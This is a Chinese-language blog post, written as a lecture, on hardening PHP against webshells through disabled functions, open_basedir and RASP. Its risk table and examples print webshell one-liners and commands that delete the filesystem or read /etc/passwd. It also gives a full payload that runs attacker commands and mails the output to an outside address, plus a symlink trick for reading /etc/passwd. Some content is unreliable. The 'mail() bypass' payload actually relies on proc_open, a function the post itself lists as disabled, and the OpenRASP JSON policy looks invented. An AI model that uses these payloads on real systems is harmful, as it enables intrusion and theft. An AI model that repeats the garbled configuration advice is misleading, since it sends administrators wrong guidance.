防范PHP WebShell与代码执行:禁用高危函数、open_basedir与RASP防护体系

PHP WebShell与代码执行:防御体系构建

各位朋友,大家好!今天我将和大家探讨一个Web安全领域中非常关键的话题:PHP WebShell与代码执行的防范。WebShell,顾名思义,就是Web服务器的后门,攻击者利用它可以在服务器上执行任意代码,获取敏感信息,甚至完全控制服务器。代码执行漏洞则是允许攻击者通过某种方式,在服务器上执行非预期的代码。两者经常结合出现,构成对Web应用安全的重大威胁。

本次讲座,我们将围绕以下三个核心方面展开:

  1. 禁用高危函数:从源头上切断部分攻击途径。
  2. open_basedir 限制:限制PHP脚本可访问的文件范围。
  3. RASP防护体系:利用运行时应用自我保护技术,实时检测并阻止恶意代码执行。

一、禁用高危函数:釜底抽薪的策略

PHP提供了一些功能强大的函数,但同时也存在一些高危函数,如果使用不当,很容易被攻击者利用执行恶意代码。禁用这些函数是预防WebShell和代码执行攻击的第一道防线。

1.1 常见高危函数

函数名称 风险描述 示例利用方式
eval() 将字符串作为PHP代码执行,是WebShell利用的常见入口。 eval($_POST['cmd']); // 通过POST请求传递恶意代码执行。
system() 执行外部系统命令。 system('rm -rf /'); // 删除服务器所有文件(危险!)。
exec() 执行外部程序。 exec('whoami', $output); // 获取当前用户。攻击者可以通过修改输入来执行其他命令。
shell_exec() 通过shell环境执行命令,并返回完整的输出字符串。 shell_exec('ls -l'); // 列出当前目录的文件。攻击者可以通过修改输入来执行其他命令。
passthru() 执行外部程序并显示原始输出。 passthru('cat /etc/passwd'); // 显示/etc/passwd文件内容,泄露用户信息。攻击者可以通过修改输入来执行其他命令。
proc_open() 执行一个命令,并且打开用来输入/输出的文件指针。 $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = proc_open('ls -l', $descriptorspec, $pipes); fwrite($pipes[0], 'input'); fclose($pipes[0]); echo stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($process); // 可以执行任意系统命令。
popen() 打开一个指向进程的管道,用于执行系统命令。 $fp = popen('whoami', 'r'); echo fread($fp, 1024); pclose($fp); // 获取当前用户。攻击者可以通过修改输入来执行其他命令。
assert() 如果断言是字符串,它将会被 eval() 执行。 assert($_POST['cmd']); // 通过POST请求传递恶意代码执行。
create_function() 创建一个匿名函数。 $func = create_function('', $_POST['code']); $func(); // 通过POST请求传递恶意代码执行。
pcntl_exec() 在当前进程空间执行指定的程序。 需要安装pcntl扩展,很多服务器默认不安装。 pcntl_exec('/bin/bash', array('-c', $_POST['cmd'])); // 通过POST请求传递恶意代码执行。
include/require 包含文件,如果文件路径可控,可能包含恶意文件。 include($_GET['file']); // 通过GET请求传递文件路径,如果攻击者可以控制$_GET['file'],就可以包含恶意文件。
unserialize() 反序列化对象。如果对象包含可执行代码,反序列化时会被执行,是PHP反序列化漏洞的入口。 unserialize($_POST['data']); // 通过POST请求传递序列化的恶意对象。
ReflectionFunction::invoke 反射调用函数,允许执行任意函数。 $reflection = new ReflectionFunction('system'); $reflection->invoke($_POST['cmd']); // 通过POST请求传递恶意代码执行。

1.2 禁用方法

php.ini 文件中,使用 disable_functions 指令可以禁用这些高危函数。

disable_functions = eval,system,exec,shell_exec,passthru,proc_open,popen,assert,create_function,pcntl_exec

注意:

  • 修改 php.ini 文件后,需要重启Web服务器(如Apache或Nginx)才能生效。
  • 禁用函数会影响依赖这些函数的应用功能,需要仔细评估后再进行禁用。如果某些函数必须使用,应采取严格的输入验证和权限控制措施。
  • 在某些情况下,攻击者可能会利用其他函数绕过禁用限制,例如使用Reflection类调用被禁用的函数。因此,除了禁用函数,还需要采取其他安全措施。

1.3 绕过禁用函数的手段与防范

攻击者往往会尝试绕过 disable_functions 的限制。常见的绕过手段包括:

  • LD_PRELOAD: 通过设置 LD_PRELOAD 环境变量,加载恶意共享库,覆盖或劫持PHP的函数调用。
    • 防范: 限制 LD_PRELOAD 的使用。通常情况下,Web服务器用户不应该具有设置环境变量的权限。可以使用安全策略限制用户权限,例如使用AppArmor或SELinux。
  • com组件: 利用COM组件执行系统命令。
    • 防范: 禁用COM组件,或者限制COM组件的访问权限。
  • ImageMagick: 利用 ImageMagick 的漏洞执行命令。
    • 防范: 升级 ImageMagick 到最新版本,禁用ImageMagick的imagick.ini配置文件中的policy.xml中的高危操作,例如coder="URL"coder="HTTPS"coder="MVG"等。
  • FFI扩展: 利用FFI(Foreign Function Interface)扩展,直接调用C代码。
    • 防范: 禁用FFI扩展,或者限制FFI扩展的使用。
  • 利用未被禁用的函数组合: 攻击者可能会利用多个未被禁用的函数组合起来,达到执行任意代码的目的。例如,可以使用scandir读取目录内容,然后使用file_get_contents读取文件内容,再使用base64_decode解码内容,最后使用includerequire包含解码后的文件。
    • 防范: 除了禁用高危函数,还需要加强输入验证和权限控制,防止攻击者利用未被禁用的函数组合起来执行恶意代码。

1.4 示例:绕过 disable_functions 的 payload

假设 system() 函数被禁用,但 mail() 函数可用,且目标服务器存在漏洞,允许通过 mail() 函数执行命令。攻击者可以构造如下 payload:

<?php
$cmd = $_GET['cmd'];
$output = '';
$descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
$process = proc_open("/bin/bash -c '$cmd'", $descriptorspec, $pipes);

if (is_resource($process)) {
    $output = stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    $error = stream_get_contents($pipes[2]);
    fclose($pipes[2]);
    $return_value = proc_close($process);
}

mail("[email protected]", "Subject", $output, "From: [email protected]"); //  利用 mail() 函数发送命令执行结果。
?>

这个例子展示了即使禁用了 system() 函数,攻击者仍然可能通过其他方式执行命令。 因此,仅仅依赖禁用函数是不够的,必须结合其他安全措施。

二、open_basedir 限制:构建文件系统安全屏障

open_basedir 是一个PHP配置指令,用于限制PHP脚本能够访问的文件目录。它可以有效地防止WebShell读取或修改敏感文件,例如配置文件、数据库文件等。

2.1 配置 open_basedir

php.ini 文件中,设置 open_basedir 指令。

open_basedir = /var/www/html:/tmp

上述配置表示PHP脚本只能访问 /var/www/html 目录和 /tmp 目录下的文件。 多个目录之间使用冒号 : 分隔。

2.2 .htaccess 中的 open_basedir

如果使用Apache服务器,也可以在 .htaccess 文件中设置 open_basedir

php_value open_basedir "/var/www/html:/tmp"

2.3 注意事项

  • open_basedir 限制的是PHP脚本可以访问的目录,而不是文件。即使设置了 open_basedir,PHP脚本仍然可以读取和修改 open_basedir 目录下的任何文件,只要有相应的权限。
  • open_basedir 限制的是PHP脚本通过文件系统函数(如 fopen()file_get_contents()include()require() 等)访问的文件。 直接通过URL访问文件不受 open_basedir 限制。
  • 如果 open_basedir 设置不当,可能会导致某些应用功能无法正常工作。例如,如果应用需要访问 /var/www/data 目录下的文件,但 open_basedir 没有包含该目录,应用将无法正常读取这些文件。
  • open_basedir 可以被绕过。例如,攻击者可以使用 symlink 创建符号链接,将 open_basedir 之外的文件链接到 open_basedir 目录下的一个文件,然后通过访问这个符号链接来访问 open_basedir 之外的文件。

2.4 示例:绕过 open_basedir 的手段与防范

以下是一些绕过 open_basedir 的常见手段:

  • 利用 symlink: 创建符号链接,指向 open_basedir 之外的文件。
    • 防范: 禁用 symlink() 函数,或者限制创建符号链接的权限。
  • 利用 glob:// 协议: glob:// 协议允许匹配多个文件,可以用来读取 open_basedir 之外的文件。
    • 防范: 禁用 glob:// 协议,或者限制 glob() 函数的使用。
  • 利用 phar:// 协议: phar:// 协议允许访问phar压缩包中的文件,可以用来读取 open_basedir 之外的文件。
    • 防范: 禁用 phar:// 协议,或者限制 phar 扩展的使用。
  • 利用 zip:// 协议: zip:// 协议允许访问zip压缩包中的文件,可以用来读取 open_basedir 之外的文件。
    • 防范: 禁用 zip:// 协议,或者限制 zip 扩展的使用。
  • 利用Session上传: 通过上传session文件到服务器,然后包含该文件,可以绕过open_basedir的限制。
    • 防范: 限制session文件的上传和访问权限。

2.5 示例:利用 symlink 绕过 open_basedir

假设 open_basedir 设置为 /var/www/html:/tmp,攻击者想要读取 /etc/passwd 文件。 他们可以首先在 /tmp 目录下创建一个符号链接,指向 /etc/passwd 文件:

<?php
symlink('/etc/passwd', '/tmp/passwd_link');
echo file_get_contents('/tmp/passwd_link');
?>

由于 /tmp 目录在 open_basedir 范围内,因此 file_get_contents() 函数可以访问 /tmp/passwd_link 文件,从而读取 /etc/passwd 文件的内容。

2.6 open_basedir 的最佳实践

  • open_basedir 设置为Web应用的根目录,以及应用需要访问的临时目录。
  • 避免将 open_basedir 设置为 /,这将失去 open_basedir 的意义。
  • 定期检查 open_basedir 的配置,确保其符合应用的安全需求。
  • 结合其他安全措施,例如禁用高危函数、加强输入验证和权限控制,防止攻击者绕过 open_basedir

三、RASP防护体系:运行时应用自我保护

RASP (Runtime Application Self-Protection) 是一种安全技术,它将安全防护嵌入到应用程序内部,在应用程序运行时实时检测并阻止恶意代码执行。与传统的Web应用防火墙(WAF)相比,RASP具有更高的准确性和更低的误报率。

3.1 RASP 的工作原理

RASP通过Hook PHP的底层函数,例如文件系统函数、数据库函数、命令执行函数等,拦截应用程序对这些函数的调用,并对调用参数进行分析,判断是否存在恶意行为。如果检测到恶意行为,RASP可以阻止函数的执行,从而防止攻击。

3.2 RASP 的优势

  • 实时防护: RASP在应用程序运行时实时检测并阻止恶意代码执行,可以有效地防止WebShell和代码执行攻击。
  • 高准确性: RASP通过分析函数调用参数,可以准确地判断是否存在恶意行为,减少误报。
  • 低误报率: RASP部署在应用程序内部,可以获取更多的上下文信息,减少误报。
  • 无需修改代码: RASP通常以插件或扩展的形式安装,无需修改应用程序的代码。
  • 自适应性: RASP可以根据应用程序的运行环境和安全需求进行自适应调整。

3.3 常见的 RASP 产品

  • OpenRASP: 由百度安全开源的 RASP 产品,支持PHP、Java等多种语言。
  • Cloudwalker RASP: 商业 RASP 产品,提供全面的安全防护功能。
  • Imperva RASP: 商业 RASP 产品,集成在Imperva的Web安全解决方案中。

3.4 OpenRASP 的使用示例

以下是一个使用 OpenRASP 防护PHP WebShell的示例:

  1. 安装 OpenRASP PHP 扩展:

    wget https://packages.baidu.com/app/openrasp/release/php/openrasp-php-linux-v1.5.0.tgz  # 下载OpenRASP PHP扩展
    tar -zxvf openrasp-php-linux-v1.5.0.tgz
    cd openrasp-php-linux-v1.5.0
    phpize
    ./configure
    make && make install
  2. 配置 php.ini 文件:

    extension=openrasp.so
    openrasp.root_dir=/opt/rasp  # 设置OpenRASP的根目录
  3. 创建 OpenRASP 根目录:

    mkdir /opt/rasp
    chown -R www-data:www-data /opt/rasp  #  修改目录权限
  4. 重启 Web 服务器:

    sudo service apache2 restart
  5. 配置 OpenRASP 策略:

    OpenRASP 使用 JSON 格式的策略文件来定义安全规则。 例如,可以创建一个名为 plugins/official.js 的策略文件,用于检测和阻止WebShell:

    {
      "plugins": {
        "webshell_check": {
          "algorithm": "bayesian_network",
          "policy": {
            "min_score": 0.8,
            "features": [
              "base64_decode",
              "eval",
              "system",
              "exec",
              "shell_exec",
              "passthru"
            ]
          },
          "action": "block"
        }
      }
    }

    这个策略定义了一个名为 webshell_check 的插件,使用贝叶斯网络算法来检测WebShell。 如果检测到包含 base64_decodeevalsystem 等高危函数的代码,且评分超过 0.8,则会阻止代码的执行。

3.5 RASP 的局限性

  • 性能开销: RASP需要在应用程序运行时进行实时检测,可能会带来一定的性能开销。
  • 兼容性问题: RASP需要与应用程序的运行环境和框架兼容,可能会出现兼容性问题。
  • 绕过风险: 攻击者可能会尝试绕过 RASP 的检测,例如使用混淆技术、加密技术等。
  • 需要专业知识: 配置和维护 RASP 需要一定的安全专业知识。

3.6 RASP 的最佳实践

  • 选择适合应用程序的 RASP 产品。
  • 仔细配置 RASP 策略,确保其能够有效地检测和阻止恶意代码执行,同时减少误报。
  • 定期更新 RASP 插件和规则,以应对新的攻击手段。
  • 监控 RASP 的运行状态,及时处理安全事件。
  • 结合其他安全措施,例如禁用高危函数、加强输入验证和权限控制,构建全面的安全防护体系。

四、构建更完善的防御体系

仅仅依靠禁用高危函数、open_basedir 限制和 RASP 是不够的。一个完善的防御体系需要包含以下几个方面:

  • 输入验证: 对所有用户输入进行严格的验证,防止SQL注入、XSS等攻击。
  • 权限控制: 限制用户的权限,避免用户执行不必要的操作。
  • 代码审计: 定期进行代码审计,发现潜在的安全漏洞。
  • 安全更新: 及时更新Web服务器、PHP版本和应用框架,修复已知的安全漏洞。
  • 安全日志: 记录Web服务器和应用程序的安全日志,以便进行安全分析和事件响应。
  • 漏洞扫描: 定期使用漏洞扫描工具扫描Web应用,发现潜在的安全漏洞。
  • 渗透测试: 定期进行渗透测试,模拟攻击者的行为,发现Web应用的弱点。

几句总结

本次讲座我们深入探讨了PHP WebShell和代码执行的防范策略,涵盖了禁用高危函数、open_basedir 限制以及 RASP 防护体系。 这些技术手段能够有效地提升Web应用的安全防护能力,降低被攻击的风险。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注